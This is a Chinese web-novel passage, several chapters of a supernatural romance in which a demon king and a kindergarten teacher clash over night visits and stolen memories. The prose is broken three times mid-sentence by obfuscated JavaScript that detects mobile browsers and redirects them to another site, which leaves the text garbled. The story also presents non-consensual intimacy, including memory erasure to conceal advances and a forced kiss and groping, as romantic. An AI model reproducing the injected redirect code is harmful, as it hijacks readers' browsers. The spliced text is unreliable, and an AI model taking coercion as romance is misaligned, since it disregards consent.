陆无烬抱臂坐在沙发上,阖目养神,姿态泰然,留下杨思昭和眠眠站在卧室门口大眼瞪小眼,局面一度十分僵滞。 直到眠眠的肚子发出一声“咕叽”。 “眠眠饿了?” 眠眠捂着肚子点了点头。 杨思昭立即走向厨房,洗了洗手,握住锅柄的时候,手肘处传来一瞬剧痛,疼得他浑身一抖,锅差点砸到地上。 这才想起,他的胳膊摔伤了。看来晚饭是做不了了,只能点外卖。 刚准备去拿手机,门被人敲响。 是陈此安,他送来了五星级大酒店的丰盛晚餐,外加两瓶红酒、酒杯和心形蜡烛。 杨思昭:“?” 陆无烬冷冷地瞥了陈此安一眼。 陈此安立即带着后三样东西溜了。 杨思昭看着桌上的“满汉全席”,一时失语,半晌才转头望向陆无烬,结结巴巴问:“就……就我们三个人吃?” 说完又觉得不对,客厅里的三个生物,好像就他一个是人。 “吃不完的,会浪费,你以后别让陈助理点这么多了。”杨思昭说。 陆无烬慢悠悠开口,“以后?” 杨思昭一下子咬住唇,不吭声了。 今天的陆无烬格外反常,有些话、有些眼神,就像是……有意无意地勾引他。 杨思昭打了个寒噤,转身带着眠眠坐到桌边,帮眠眠戴上围兜。 正在系蝴蝶结的时候,陆无烬走到他身后,感觉到一股凌冽的寒意逼近,杨思昭不自觉紧张起来,手指颤了一下,没勾住绳结,围兜便滑落到地上。 眠眠望着围兜,“咦?兜兜?” 他钻到桌底,捡起来举给杨思昭。 杨思昭:“……” 他快尴尬到冒烟了,连忙接过围兜帮眠眠戴上,然后坐到另一边和陆无烬的座位成对角线的距离,若无其事咳了两声。 好在陆无烬吃饭的时候还算正常,但杨思昭注意到他有些挑食,不吃辣,不吃葱姜,不吃肥肉,不吃青椒。 杨思昭回忆了一下,上次他做了青椒土豆丝,陆无烬明明吃了不少啊。 奇怪。 “妈妈。” 杨思昭听到眠眠的声音,回过神,看到眠眠正高高举着勺子,里面盛了一颗鱼丸,努力递给杨思昭,“妈妈。” 杨思昭下意识俯身去吃,唇瓣刚碰到勺边,倏然僵住,眠眠刚刚喊他什么? 重要的是,当着陆无烬的面,喊他什么? 他这次是真的快烧冒烟了,慌忙坐好,向陆无烬解释:“不是我教他喊的,真的不是,我已经纠正过他好几遍了。” 陆无烬似乎没大所谓,面色平淡,喝了口汤。 吃了饭,杨思昭把陆无烬单独喊到阳台,犹豫几次才开口:“我上回问了陈助理,他说眠眠的母亲正在人间经历轮回。我不太懂这个东西,经历轮回就和前世没关系了吗?” 陆无烬抬眸看他。 阳台顶只装了小射灯,光线不够明亮,杨思昭看不清陆无烬的眼神。 “你有没有办法让眠眠见一见她?眠眠一直喊我妈妈,应该是他太想妈妈了。” 陆无烬倚在墙边,一半的身体隐在阴影之中,良久才出声,“你觉得还有关系吗?” 这话倒是把杨思昭问住了。 他想了想,“站在眠眠的角度,他是无辜的,他需要妈妈,但是站在你爱人的角度,也许这一世她有她的生活,如果她什么都不记得,就这样直楞楞地让她知道眠眠的存在,我想……她应该无法接受吧。不过我也不知道,我实在不太懂轮回这些事。” “如果是站在我的角度呢?” 杨思昭愣住。 陆无烬向来是居高临下的,寡言少语,开口就是命令,这还是第一次,杨思昭听到他的声音里威严之余藏了几分脆弱。 “你很爱她,是吗?”杨思昭试探着问。 陆无烬没有回答。 默认也许就是一种回答。 杨思昭借着昏黄灯光,细看陆无烬的面孔。五官俊朗,带着浑然天成的狂傲,看着个像到处拈花惹草、没有固定伴侣、把情爱当玩物的,想不到,竟然用情至深。 “不爱。”陆无烬说。 杨思昭困惑不解,正要说话,姚奚雨给他打来电话,问他周末要不要去游乐园。 游乐园? 杨思昭眼前一亮,心想:可以带着眠眠去,眠眠估计还没去过游乐园呢! “好啊。”他回答。 刚挂电话,还没转过身,一抹黑影朝他欺近,将他完全罩住。 过分激烈的吻,铺天盖地落下。 陆无烬泄愤似地咬住了杨思昭的唇瓣,杨思昭也反击,在他的下唇狠狠咬了一口。 . “眠眠,我们是怎么回到家的?” 杨思昭抱着眠眠,茫然望向四周。上一秒他还牵着眠眠开开心心往家走,下一秒就出现在客厅,手边放着一袋罗氏虾一袋番茄。 中间的两个小时仿佛凭空消失了。 有些模糊的印象,快到小区门口时,好像有个小男孩朝他冲过来,抢走他手里的玩具,他踉跄倒地,胳膊肘摔得生疼……可是后来发生了什么,统统不记得了。 脑海一片空白,如同水洗。 唯一的变化,是唇瓣多了一道创口,火辣辣地疼,但来源不明。 他只好求助于眠眠。 眠眠坐在他的膝头,仿佛知道他要问什么,小嘴撅成波浪,看着满腹怨念。可杨思昭问他,他又不说,攥起小拳头,栽进杨思昭的怀里,一个劲摇头。 “……” 第二次了,这种记忆中断的感觉,这是他第二次经历了。 这种感觉极其不适,让他极其不安。 仿佛他是某个高等生命的玩物,喜怒哀乐都不由自己控制。 深夜,他照常哄眠眠睡着,然后关了床头小灯,一个人走到书房,把最近一段时间发生的诡异事情,一件件记录下来。 第一件事,是齐妍奇怪的主意。 她说小岛解除了禁制,再以他这个人类做诱饵,就能引来妖王。如果真是这样,任何一个人类都可以做诱饵,非得是他吗?再一细想,那天的偶遇,一上小岛就开始铺垫的计划……都很不对劲。 那天他命悬一线被陆无烬救下,心神恍惚直至今天,才意识到,处处都是疑点。 第二件事,是房子里奇怪的监视感,从早到晚,都好像有一双眼睛,不,不止一双,在监视着他,盯着他的一举一动。 第三件事,是莫名灼痛的嘴唇,和莫名断片的记忆。 他越写越手抖,只觉得心底生寒。 第二天,他给姚奚雨发了消息,问她能否向她上次说的那位“大师”预约一下时间。 姚奚雨回他:[可以呀,我去跟我妈要一下号码,你想咨询大师什么事情,流年运势、婚姻事业,找寻失物,还是前尘往事?] 杨思昭纠结:[运势吧,最近倒霉得很,不是被车撞,就是被小孩撞。] 姚奚雨回了一个“OK”,不到半个小时就给他发来了大师的联系方式,[地址:月岭市蓝天区济民路156号,要提前一天预约哦。] 杨思昭当即预约了时间。 他在月岭市长大,还是第一次来到济民路,偏远的老城区,放眼望去看不到几个年轻人杨思昭刚下出租车,就和一个骑着老式自行车的叔叔擦身而过,吓得他连连后退,在一排烟熏火燎看不到数字的门牌中,抬头寻找156号,眯着眼睛细瞧,好不容易才找到。 敲了敲门,良久,才有脚步声。 开门的是一位白发苍苍的老爷子,穿着最朴素的黑色毛衣和褐色羽绒马甲,戴着一副挂绳的老花镜,目光从厚厚的镜片后射出,在杨思昭全身上下打量了一番,“姓杨?” “是。”杨思昭连忙点头。 “进来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“妖有妖道,人有人伦,本就殊途。无论他们想从你这里得到什么,哪怕是善意的,对你也没有益处,你说是不是?” 老爷子觉得自己已经言尽,几乎泄露天机了,再傻的人都不会选错。 过了很久,他合上书,摘下老花镜,说:“没什么别的事,就回去吧。” “如果……” 杨思昭突然出声,“如果我舍不得呢?” 老爷子的脸色变得严肃。 “我和一只小妖怪产生了不可分割的感情,我舍不得,至少现阶段,我不能离开。” “哪怕你会因此受伤?” “我不怕。”杨思昭坚定道。 老爷子把桌上写了杨思昭生辰八字的纸,攥了攥,扔进垃圾桶,叹气道:“你的命轨,已经改变了,再没有逆回的机会。” 他问杨思昭:“还有什么问题?” “我感觉我的记忆会被人偷走。” 老爷子从书页中抽出一枚枯叶,递给杨思昭,“提前将这个放在身上,大罗神仙都偷不走你的记忆。” 杨思昭刚要接,老爷子就收回:“一张五千。” “……”还有额外收费,杨思昭求助心急,只能吞下这个哑巴亏,乖乖付了费。 “记住,我这儿只有一张,只能用一次,被发现了,我也救不了你。” 杨思昭还想问监视的事,老爷子已经摆手拒客,“今天营业结束了,回去吧。” “我——” “回去吧,回去吧。” 杨思昭无奈地离开了。 老爷子站在156号的门牌下,负手看着杨思昭的背影,轻声感慨:“孽缘啊。” 姻缘神不是说这孩子此生情爱尚未生么?怎么拆也拆不散? 良久,他微微抬手,156号的铜门牌就渐渐变回原状,他转过身,步履蹒跚地回到屋子里,变成了台面上的一座神像。 神像后面写着“月仙”二字。 杨思昭带着价值五千块的枯叶,去潜山别墅接眠眠,出门时,陆无烬正好回来。 两人迎面碰上。 “好久不见,陆先——” 杨思昭的一声招呼卡在嘴边。 因为他看到陆无烬的嘴唇上,和他一样,也有一记红褐色的血点,像是咬出来的。 16.第 16 章 杨思昭生出了一个很恐怖的念头。 偷走他记忆的人,是陆无烬。 这个念头让他连打了两个寒噤,他被偷走的那部分记忆,是消失的两小时,莫名灼痛的嘴唇,还有唇瓣上尚未消失的血点……如果这些和陆无烬有关,那还有什么与他无关? 这个男人本就可以穿墙入室,悄无声息地出没在他的床边,如今还能偷走他的记忆,弄破他的嘴唇,杨思昭简直不敢深想,这些日子,他究竟还有多少不知道的事? 简直可怕。 简直恐怖! 杨思昭坐在车里,越想越害怕,下意识抱紧眠眠,又倏然反应过来,两手夹住眠眠的腋窝,把他拎到自己的膝盖上,和他面对着面,问他:“眠眠!你是不是小叛徒?” 眠眠听不懂,左右晃了晃,然后软趴趴地往杨思昭的胸口倒。 杨思昭又一次把他拎起来,小声问:“告诉老师,你爸爸有没有在老师不知道的情况下,偷偷来老师家?” 眠眠一激灵,倏然睁大眼睛。 他看看左边,又看看右边,然后栽进杨思昭的怀抱,委屈道:“爸爸不让我说。” 杨思昭的心已经凉了半截。 他咬牙切齿地问:“爸爸说,如果眠眠告诉老师,他就会对眠眠做什么?” “爸爸要把眠眠变成一只角的小羊。” 一提到这件事,眠眠更委屈了,泪眼婆娑,又要往杨思昭的怀里钻。 杨思昭自己都顾不过来,已经没精力心疼小家伙了,他再一次拎起眠眠,告诉他:“没关系,老师可以保证,爸爸绝对不会把眠眠变成独角小羊,眠眠先告诉老师,爸爸到底来老师家里做了什么?” 眠眠想了想,“爸爸……” 他翻了个身,坐到杨思昭的身边,然后侧身抱住杨思昭的腰,说:“爸爸,这样。” 杨思昭登时如五雷轰顶。 “什么时候?” 眠眠歪头想,“月亮婆婆打哈欠的时候。” 这是杨思昭每天睡觉前都会跟他说的话——很晚啦很晚啦,月亮婆婆打哈欠,眠眠要睡觉。 也就是说,在他们都睡着之后,陆无烬出现在他的卧室,他的床上,抱住他。 杨思昭几近昏厥,“还、还有呢?” 眠眠又爬起来,撅起嘴巴,在杨思昭的脸颊上亲了一口。 “什么??!!!” 陆无烬亲他的脸? 杨思昭感觉自己快从这个地球上蒸发了,他满脑子都是陆无烬那件黑色大衣,在黑夜中爬上他的床,朝他靠近,如黑色藤蔓一样往上攀行,缠绕他全身,将他紧紧包裹住。 这个陆无烬到底想干什么? 他苦思冥想,终于想出答案—— 陆无烬一定是想吸他的精气。 聊斋志异里不都是这样演的吗?狐妖半夜爬上书生的床,勾引书生,吸□□气。 一定是这样,太可怕了。 难怪他最近总觉得精力不济,心神俱疲,难怪大师让他远离对他没有益处的妖……连齐妍她们都不敢靠近的陆无烬,他竟然毫无防备地几次三番与之接近,实在是太愚蠢了。 “停车!” 杨思昭怒不可遏,“停车,回别墅。” 车子刚下潜山,立即掉头回去。 陆无烬坐在书房里,听陈此安汇报审讯鬣狗的情况。 “您找到夫人的消息已经在妖界传开了,许多恶妖闻讯赶来,想夺走夫人体内的化丹,毕竟……那是您的化丹,稀世之宝。” 陆无烬说:“在他四周多加几层穹障,不管是上下班,还是去哪里,都派人接送,尽量不要让他单独出行。” “是。” “还有什么异样?” “因为您这次停留人间过久,殷刹似乎有了篡位之心,最近动作频频。” 妖将殷刹,陆无烬的副手。 三百年前他就是前妖王的副手,陆无烬踏过尸山血海成为妖王之后,殷刹迅速向他投诚,送他登上宝座。因畏惧陆无烬的威势,三百年来未生事端。如今陆无烬寻妻心切,逗留人间,殷刹立即露出了真面目。 “等了三百年,终于耐不住了。”陆无烬坐在沙发上,指尖有一搭没一搭地落下。 “先生,您想怎么做?” “在他身边插个眼线,时刻关注——”话说到一半,书房的门就被人咣咣咣地敲响,带着十二分的怒火。 陈此安一惊,立即去开门,门刚露出一条缝,就被杨思昭霍然推开。 “陆无烬!” 杨思昭怒气冲冲,眠眠也配合着,攥起小拳头,凶巴巴地龇起两排小白牙。 陆无烬循声望去。 杨思昭原本燃烧着熊熊怒火,恨不得冲上去和陆无烬厮打一番,可远远看到陆无烬那双冷淡无波的眸子,火莫名熄了一半。 陆无烬似乎懒得问他的来由,只是转过头,微微挑起眉梢,平静地看着他。 陈此安见状,抱起眠眠就走。 “妈妈,妈妈!”眠眠趴在陈此安的肩头,伸出胳膊,徒劳地抓了抓。 书房只剩下陆无烬和杨思昭两个人。 “你的嘴是什么回事?”杨思昭问。 陆无烬不回答。 杨思昭往里走了一步,鼓起勇气问:“我的嘴又是怎么回事?” 陆无烬似乎觉得奇怪,回过身,继续倚靠在沙发里,反问他:“我怎么知道?” “你——” 杨思昭向来拿这种无赖没招。 可是“为什么眠眠说你半夜爬上我的床抱我亲我”、“为什么我会莫名失去两个小时的记忆”、“为什么我们的嘴唇会同时出现两个一样的咬痕”……这些话,他又难以启齿。 他只能挑一个“尺度不大”的问题:“你是不是趁我睡觉的时候来过我家?” “没有。”陆无烬面不改色。 “眠眠都告诉我了!” “他撒谎。” “你——”杨思昭气到快吐血。 没吐出血,眼眶倒湿润了。 “我不喜欢这样,在我不知情的前提下对我做什么,这是对我的不尊重。” 陆无烬眸色变沉。 他的沉默让杨思昭的怒火更甚。 他好像对什么都不在意。是,他活了几百年,他阅历丰富,看透人间百态,可是这和杨思昭有什么关系?他找老婆找了三百年,情深似海,可是这和杨思昭有什么关系? “我管你是什么百年千年的大妖,对我来说,你只是眠眠的父亲,你不可以也没资格随意搅乱我的人生。”杨思昭一字一顿道。 他一说完,转身就走。 陆无烬的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927807|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉地握了一下拳,又缓缓松开。 树影斑驳,月色寂寂。 窗外的明月一如三百年前。 也是一扇圆窗,也是如此深夜,那只尾巴长了一簇黑的小羊妖窝在他的怀里,睡得香甜安稳,雪白光裸的身子只披了一件他的外袍。不知过了多久,小妖从美梦中醒来,睡眼惺忪地攀到他的肩头,“你为什么不睡?” 他用指腹摩挲着小妖的脸,“你总是半夜出没,等我醒过来,你又不见了。” 小妖不说话,把手放在他的胸口,脸愈发贴近,长睫扑闪扑闪,喉结滑动。 那是化丹的位置。 垂涎的心思太明显了,陆无烬看得一清二楚,也不戳穿,俯身吻住小妖,“你知不知道那对我有多重要?给了你,我该怎么办?” 小妖被亲得七荤八素,迷迷糊糊,两手攀着陆无烬的肩膀,“什么、什么重要?” 良久,陆无烬说:“没什么。” 你最重要。 . 回家的路上,杨思昭感到心口有一种说不出的闷痛。 好像有什么东西在他的心脏里,蠢蠢欲动,即将破茧而出。 明明是陌生人,交集那么浅,对话加起来没超过十句,为什么让他这般难受? 眠眠抱着他的胳膊,一脸担忧。 “没事的。”杨思昭摸摸他的脸。 眠眠撅起嘴巴,“讨厌爸爸!” 杨思昭缓缓俯下身,和他额头抵着额头,学着他的语气,说:“讨厌……你爸爸。” 哪有人做了坏事还这般理直气壮?杨思昭明明不想吵架的,他只是想要一个回答。 可是陆无烬表现得太无赖了。 不懂得尊重人可不行,杨思昭给宝宝们上的第二节课就是“学会尊重”,结果这个活了三百多年的老家伙还不会。 再说了,他还没谈过恋爱呢。 他连女孩的手都没牵过。 怎么可以…… 亲脸也不行,他是直男啊。 回去之后,他一直等着陆无烬过来找他道歉,可是痴痴等到周末,也没见到陆无烬的身影。他试探着问了一下陈此安,陈此安说:“先生有很重要的事要忙,还拜托杨老师继续照顾眠眠。” “他没说、没说别的?” “没有。” 厚颜无耻。杨思昭直接去了潜山别墅,咣咣咣砸着陆无烬的书房门,谁料书房里没开灯,漆黑一片,他怒气冲冲,什么都没看见,而房门正巧打开,他一个踉跄就栽了进去,正好撞到陆无烬的胸口。 陆无烬这次没伸手。 任由杨思昭十分狼狈地拽住他的大衣,用肩膀顶着他的胸口,歪歪斜斜地站起来。 “杨老师突然拜访,为何事?” “你不该给我一个解释吗?你……你对我几次三番的性……性骚扰?” 陆无烬垂眸望着杨思昭放在他胸口的手,微微挑眉,意思显而易见,好像在说:现在是谁对谁性骚扰? 他不仅对自己的罪行拒不认账,还往杨思昭的身上泼脏水? “……”杨思昭咬牙切齿。 他想起包里那片价值五千块的枯叶片。 他想:你等着,陆无烬,我一定要揭露你的罪行,撕开你这张千年不变、趾高气扬的虚伪面孔,让你露出马脚,再难狡辩! 17.第 17 章 杨思昭这两天一直苦思冥想。 他原以为陆无烬每晚都会出现在他的卧室,于是把枯叶藏在枕下,闭着眼,悬着心,等陆无烬对他动手动脚又指尖施法准备清除他记忆的时候,就拿出枯叶给陆无烬一个“当头棒喝”。 可他等了两天,陆无烬始终没出现。 陆无烬和他的名字一样,不出现的时候,连一粒灰烬都不留下。 杨思昭颓然倒在床边,“真讨厌,为什么被骚扰的是我,生气烦躁的也是我呢?” 他戳了戳眠眠的小脸蛋,眠眠也不生气,放下小火车,傻乎乎地凑上来,把自己的脸放在杨思昭的手心,左蹭右蹭。 “妈妈不要不开心。”眠眠说。 杨思昭纠正他,“是老师,不是妈妈。” 眠眠执拗地说:“妈妈。” 杨思昭用手指一下一下地梳着眠眠柔软的头发,“眠眠,你是不是很想妈妈?” 眠眠觉得很奇怪,歪着脑袋,爬进杨思昭的怀里,抱着他,“已经找到妈妈了。” 杨思昭的心被这一句话揪起来,浸了水,沉甸甸的。 他也不想纠正了,拉起被子,和眠眠一起钻进去。因为太过舒服,眠眠变回了小羊,毛茸茸暖烘烘的一只,窝在杨思昭的怀里。 杨思昭摩挲着小羊角,心里想着:凭什么是我烦恼?得想个办法,让陆无烬过来。 此仇不报非君子。 第二天,他把眠眠叫到身边,“眠眠,你帮老师做一件事情,好不好?” 眠眠举起小拳头,“好!” 杨思昭神神秘秘道:“今天,你先跟着陈叔叔回家,然后告诉你爸爸,小羊老师——” “小羊老师!”老院长高声喊。 “来了!”杨思昭立即起身,走出小(5)班,老院长朝他招招手,又指向身边的人。 一个年轻的女人,长着一双内尖尾翘的狐狸眼,笑起来很漂亮,一见到杨思昭就热情地说:“这就是小羊老师吗?原来这么年轻啊,我在新城区的幼儿园都听说过呢,说你搞定了一个非常难搞定的班。” 杨思昭羞赧地摆了摆手,“说笑了,您好,我叫杨思昭。” “我叫徐蕊,是新来的老师。” 老院长说:“杨老师,我把徐老师安排在4班了,你们就在隔壁,徐老师有什么不明白的,可以随时请教杨老师。” “好的,可是……”徐蕊顿了顿,说:“我听说小(5)班就一个老师,忙得过来吗?要不要我帮杨老师上户外课?” “不用不用,”老院长和杨思昭异口同声,连连摆手,“就六个孩子,很轻松的。” 徐蕊笑了笑,说:“那好吧。” 杨思昭和她说了些注意的事项,“小(4)班有个小皮猴,好像叫王齐泽,很难搞,父母也很难搞,你要小心。” “了解。”徐蕊上下打量了杨思昭,视线停留在杨思昭的心口,然后抬眼微笑。 回到办公室,她关上门,脑海中响起一个男人的声音:“这一世,他竟然如此平庸,一个普通的不能再普通的人类,陆无烬的化丹跟了他,真是明珠蒙尘。” 徐蕊问:“殷先生,接下来我该如何?” “杀他,定会引起陆无烬的报复,得不偿失。上一世,陆无烬以为他为了化丹抛夫弃子,因他堕入妖道,结果还是舍不得,找了他三百年。若是再来一回呢?” “先生的意思是……” “让他畏惧陆无烬,远离,逃跑,像三百年前一样,让陆无烬重温旧梦。我不信这份爱有多坚固,能经得住一次又一次的伤害。待陆无烬恨意滔天,欲杀杨思昭之时,我便用我新练成的偷天换日之术,坐收渔翁之利,登上妖王宝座。” “先生英明。” . “眠眠告诉爸爸,你今天不能待在小羊老师家,因为小羊老师发高烧了,烧到四十度,站都站不起来,不能做饭了。” 杨思昭蹲在眠眠面前,反反复复说了三遍,“眠眠千万不能说错,说错,老师就完了,听到没有呀?” 这一长串显然超出了眠眠的表达范围,但他还是点点头,说:“听到了。” “先和陈叔叔回家吧。” 眠眠很不情愿,“眠眠想和妈妈睡。” “等妈妈——”杨思昭一不小心说吐噜嘴了,连忙改正:“等老师事情办成了,老师立即把眠眠接回来,好不好?” 眠眠只好乖乖上了陈此安的车。 回到家,陆无烬坐在书房里, 他安插了眼线在殷刹身边,可不知为何,殷刹似乎有所察觉,竟没了动作,兢兢业业当值,让他挑不出错处。 正思索着,门被推开一条缝。 陆无烬没有回头,沉声道:“陆眠。” 眠眠最近在杨思昭身边当惯了宝宝,助长了恃宠而骄的气焰,看见陆无烬也不害怕了,回到家之后,故意没换拖鞋,穿着小雪地靴噔噔噔跑上楼,在陆无烬洁净到可以反光的书房地砖上留下一串小小的灰鞋印。 陆无烬看见了,缓缓抬眸,视线从鞋印转移到眠眠的脸上。 眠眠打了个激灵,连连后退,想求助于陈此安,一回头,陈此安早就不见踪影。 眠眠怂了,把小书包挡在身前。 “怎么舍得回来了?”陆无烬问。 “妈妈发高烧了。” 陆无烬的眉头倏然皱起。 “烧到——”眠眠一时想不起来,努力回忆,“七十度,妈妈说他不能给我做饭了。” 陆无烬迅速进入灵眼查看,画面正对着床,杨思昭窝在被子里,身子蜷缩着,头发蓬乱,脸颊发红,看起来十分难受。 陆无烬当即起身。 眨眼间,便到了杨思昭的卧室。 杨思昭已经感觉到陆无烬的存在了,他瞬间紧张起来,怀里的热水袋正在源源不断散发着热意,他浑身都是烫的,恨不得现在就掀开被子冲到阳台上猛吹一阵凉风。但是陆无烬来了,他必须忍着,否则功亏一篑。 他感觉到陆无烬的视线正在他的脸上来回梭巡。 真是变态,他恨恨地想。 他不会喜欢男人吧?那眠眠是怎么生出来的,不对啊,他不是找老婆找了三百年吗?等等,好像还有一个找老婆的—— 在侧边床垫微微下陷的瞬间,杨思昭的脑海里突然冒出两个字:妖王。 他怎么从来没联想过? 五个小家伙的父母之所以逃亡人间,就是因为妖王寻妻,陆无烬也在寻妻。 还没等他把这两件事糅合到一起,捋出逻辑,思绪已经断裂,大脑登时一片空白,因为陆无烬从背后抱住了他。 杨思昭倏然睁开眼。 陆无烬的胸膛紧紧贴着他的后背,一条手臂穿过他的颈下,一条胳膊圈住他的肩膀,两手交叠,骤然收紧,以一个束缚的姿势,将他困于怀中。 而下半身,他感觉到陆无烬的膝盖隔着被子抵在他的膝窝,几乎严丝合缝。 “你——” 话说出口又怕露馅,还是装出一副病殃殃的模样,语气虚弱,“谁让你来的?” “帮你降温。” 陆无烬的声音在他耳边不断放大,杨思昭迟钝了片刻才反应过来,降温?什么鬼话?这个老妖怪,简直厚颜无耻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931991|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心急得很,仅仅是一个拥抱,压根不能定陆无烬的罪,再僵持下去,他的热水袋就要被发现了! 于是他一咬牙,一闭眼,一狠心,直接翻个身,抱住陆无烬的腰。 时间停滞了足足五秒,陆无烬没有半点反应,杨思昭已经大脑昏昏,理智全无,竟然把手从陆无烬的腰上转移到他硬邦邦的胸膛,而后抓着他的衣襟,贴着陆无烬的身体,一点点向上攀附,直到与他四目相对。 窗帘只合上一半,但天色已暗,房间里光线昏沉,只隐约能看见陆无烬的眼眸。 他怔住了,瞳仁如暴风雨中的海面,写满了难以置信。 他要哭了么?他为什么看起来很难过? 杨思昭也跟着难过。 “我——” 陆无烬已经封住了他的唇。 杨思昭倏然睁大双眼,刚要挣扎,就被陆无烬握住双腕,按在头顶的枕上。 杨思昭生平第一次接吻,完全蒙了,居然想用舌头推阻,结果成了“羊入虎口”。 手挣扎不脱,腿被陆无烬压着,他完全成了砧板上的肉。亲到最后,腮帮子都酸了,嘴角快裂开了,陆无烬松开他的时候,杨思昭感觉自己的嘴都快合不上了,还没回过神,陆无烬已经转移了战场,杨思昭好不容易踢开了热水袋,可现在又开始浑身发热了。 “陆……陆无烬!”他惊声制止。 陆无烬停下来。 他不知道什么时候脱了大衣,只穿了一件黑衬衫,在月色中泛起细腻的微光,透出了每一寸肌肉的起伏。他在杨思昭的身上撑起双臂,眼神尽是尚未满足却被打断的不耐。 “你疯了?谁允许你唔唔——” 又被压住了。 而后,他感觉到陆无烬的手……他的直男警钟在最后一刻发挥了作用,理智一瞬间回归,他双手用力,猛然推开了陆无烬的胸膛。 陆无烬没防备,就这样被推开。 下一秒,“啪”的一声,一个恶狠狠的巴掌落在他的脸上。 杨思昭拽起从肩头滑落的衣领,连连后退,退到床头,努力忽略胸口的濡湿,然后一脚踹在陆无烬的腿上,怒道:“你知不知道你在做什么?你吃春.药了吗?发什么疯?” 良久,陆无烬开口:“知道。” 杨思昭瞪他,“那你还敢?” 陆无烬毫无愧意,掀开被子堂而皇之地坐下,面不改色地看着他,发出一声嗤笑。 “你上一世是状元么?” 杨思昭听不懂,“什、什么?” 陆无烬淡然自若地解开了领口第一颗纽扣,缓缓道:“所以这一世这么笨。” “你不要欺人太甚!”杨思昭怒道。 “陆眠和你待久了,也变笨了。” “陆!无!烬!” 杨思昭这次是真的忍不住了,他扑上去掐住陆无烬的脖子,陆无烬向后仰躺,杨思昭就翻个身,骑在他身上,两手一同用力。 可陆无烬的脸色没有半点变化,看着杨思昭涨红的脸,眼里尽是嘲意。良久,他伸出手,在杨思昭的额前碰了一下。 没有记忆抽离的感应。 他又碰了一下。 还是没有。 他那双阴沉沉的眸子里,闪过一瞬的慌乱。 下一秒,原本怒气冲冲的杨思昭突然笑了,坐在他身上,朝他挑了下眉。 “陆无烬,被我抓现行了吧!” 陆无烬的呼吸遽然急促起来,眉头微微皱起,食指与中指并在一起,眼看就要施法,杨思昭却一把握住他的手指,哼了声。 “只会这一招吗?你还算不算男人?” 18.第 18 章 陆无烬的妖力足以在一息之间斩杀无数灵兽,但此时此刻,却困于杨思昭的手。 杨思昭的手比他的小些,正好握住了他的两指,还煞有其事地用拇指指腹盖住了他的指尖,好像这样他就不能施法了。 幼稚得可笑。 以前也是这样,傻乎乎的。 白天在他修炼时,盯着他的化丹流口水,夜里说梦话也是偷化丹,都这样了,还以为他一无所知,装模作样地问他什么是化丹。 陆无烬时常想,我到底为什么爱他爱得这样深? “你认不认罪?” 杨思昭一脸得意,指尖捏着月仙给他的枯叶法器,在陆无烬的眼前晃了又晃。 这一个月以来,他在陆无烬面前总是畏畏缩缩、小心翼翼,终于有机会翻身做主人,就像完全变了个人,表情鲜活,嘴角高高扬起,连眼睛都发着光,“你还敢狡辩?” 陆无烬看了一眼,“谁给你的?” “我为什么要告诉你?” 枯叶幡是月仙的法器,陆无烬不用想也能猜到,定是月仙瞒着他找到了杨思昭,以枯叶幡离间他们。 “给你枯叶幡的人,有没有告诉你,它只能用一次,用完就失效?” 杨思昭脸色一僵,很快又恢复自然,昂着头说:“谁说的?这……这是改良过的,可以用无数次,专门用来治你的!” 他狠狠瞪向陆无烬。 陆无烬面色不变,只是微微挑起眉梢,下一秒,杨思昭指尖的枯叶就燃成了灰,落在陆无烬的黑衬衣上,悄无踪迹。 “……”杨思昭气得手抖。 陆无烬淡然自若地掸了掸灰。 但杨思昭并没有认输,他指了指床头柜,柜子上架着一部手机,手机的摄像头正对着床上,“喏,你以为我没留后招?” 陆无烬看向摄像头。 “全拍下来了!你还想否认?” 杨思昭终于聪明了一回,知道他无力抵抗一个大妖,于是给自己留了后路,他还设定了自动备份到云空间,生怕保存不了证据。 用科技对抗神鬼志异。 不过他还没得意两秒,陆无烬又要动手,他立即扑上去死死抓住陆无烬的手,咬牙切齿道:“你敢动我的手机,我就和你拼命!” 陆无烬的视线在他和杨思昭交合的手上停留了几秒,又把另一只胳膊枕在头下。 “你想让我承认什么?” “承认你是变态、流氓、色情狂。” 陆无烬一脸坦然,“我是。” “………” 杨思昭感觉自己快脑溢血了。 他从没见过厚颜无耻到这种程度的人,几番欲言又止,竟说不出一句话来。 “还有呢?大费周章地把我骗过来,”陆无烬从被窝里掏出一只热水袋,抬眸望向杨思昭,“就是为了让我承认我是流氓?” 反正事已至此,杨思昭也不装了,直接问:“为什么来我这里?你喜欢男人?” 陆无烬不答反问:“你喜欢女人?” “跟你有什么关系?我怎么可能喜欢——”他的视线随着陆无烬的视线慢慢下落,才猛然意识到他还坐在陆无烬的腿上,腿侧夹着陆无烬的腰,隐私部位只隔不到一寸的距离。 他忙不迭爬到床头。 “我不喜欢!” “女人?” “不喜欢男人!”杨思昭快气死了,抬高声量,一字一顿道:“我不喜欢你!” 他和陆无烬之间谈到“喜欢”这两个字,实在太诡异了,他们之间分明是性骚扰和被性骚扰的关系,“妖也有妖法吧,谁允许你不经过我同意就闯进我的家,对我做这样的事!” 陆无烬缓缓起身,脸色变得严肃,“给你枯叶幡的人,有没有说过你的命数?” 